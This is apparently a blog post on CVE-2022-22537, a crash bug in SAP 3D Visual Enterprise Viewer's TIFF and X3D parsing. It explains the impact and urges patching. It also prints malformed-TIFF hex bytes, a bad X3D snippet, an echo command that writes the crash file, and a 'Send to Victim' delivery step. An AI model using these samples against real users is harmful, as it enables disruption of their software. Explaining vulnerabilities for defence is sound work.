SAP 3D Visual Enterprise Viewer is a powerful tool used for visualizing 3D models in many industries. But what if opening a seemingly innocent image file could bring this program to a screeching halt? That’s exactly what CVE-2022-22537 is about. In this post, I’ll walk you through how this vulnerability works, the impact, and provide practical examples for better understanding.

What is CVE-2022-22537?

CVE-2022-22537 is a vulnerability discovered in SAP 3D Visual Enterprise Viewer version 9.. If a user opens a manipulated Tagged Image File Format (.tiff) or 2D X3D (.x3d) file received from an untrusted source, the application crashes. While this does not immediately allow an attacker to run code on your system, it can still cause a denial-of-service (*DoS*) since you’ll be forced to restart the whole program.

Official reference: NIST CVE-2022-22537  
SAP Security Note: SAP Note 3124172

How Does It Work?

SAP 3D Visual Enterprise Viewer uses libraries to parse various image and 3D file formats. A specially-crafted file (like a TIFF or X3D) can trigger a crash when opened because of how the application handles certain data inside these files.

For example, imagine a TIFF file that has a malformed Image File Directory (IFD) or an X3D file with broken scene graph data. The Viewer is not expecting this bad data, so it throws an exception and exits.

Minimal TIFF Example That Can Cause Issues

49 49 2A 00 08 00 00 00 01 00 01 01 00 03 00 01 00 00 00 FF FF 00 00 00 00

Example Malicious X3D Snippet

<X3D>
  <Scene>
    <Shape>
      <IndexedFaceSet coordIndex='1  2 -1'>
        <Coordinate point='INVALID_DATA' />
      </IndexedFaceSet>
    </Shape>
  </Scene>
</X3D>

You can use tiffset, tiffdump, or create your own malformed TIFF header.

echo -ne '\x49\x49\x2A\x00\x08\x00\x00\x00\x01\x00\x01\x01\x00\x03\x00\x01\x00\x00\x00\xFF\xFF\x00\x00\x00\x00' > malformed.tiff

Send to Victim

> Email / share it via cloud storage.

Real-World Impact

- Denial-of-Service: Attackers can disrupt operations by repeatedly forcing users to crash their Viewer.

User Frustration: Frequent application crashes can reduce trust in the software.

- Potential Security Risks: Crashes can sometimes be the first step to more serious vulnerabilities, like arbitrary code execution.

Mitigation

- Update to the latest version of SAP 3D Visual Enterprise Viewer. SAP has released a patch addressing this bug:
   - SAP Security Patch Day – February 2022

More References

- SAP Product Security Response
- Official TIFF Format Details
- X3D File Examples

Conclusion

CVE-2022-22537 shows how even opening the wrong file can make enterprise software unusable. The bug in SAP 3D Visual Enterprise Viewer’s file parser causes a crash if given a specially-crafted image. While this doesn’t mean your system is totally compromised (yet), staying alert and updating regularly is always the best move.

Stay safe, and always double-check before opening files from strangers!

Timeline

Published on: 02/09/2022 23:15:00 UTC
Last modified on: 08/24/2022 16:15:00 UTC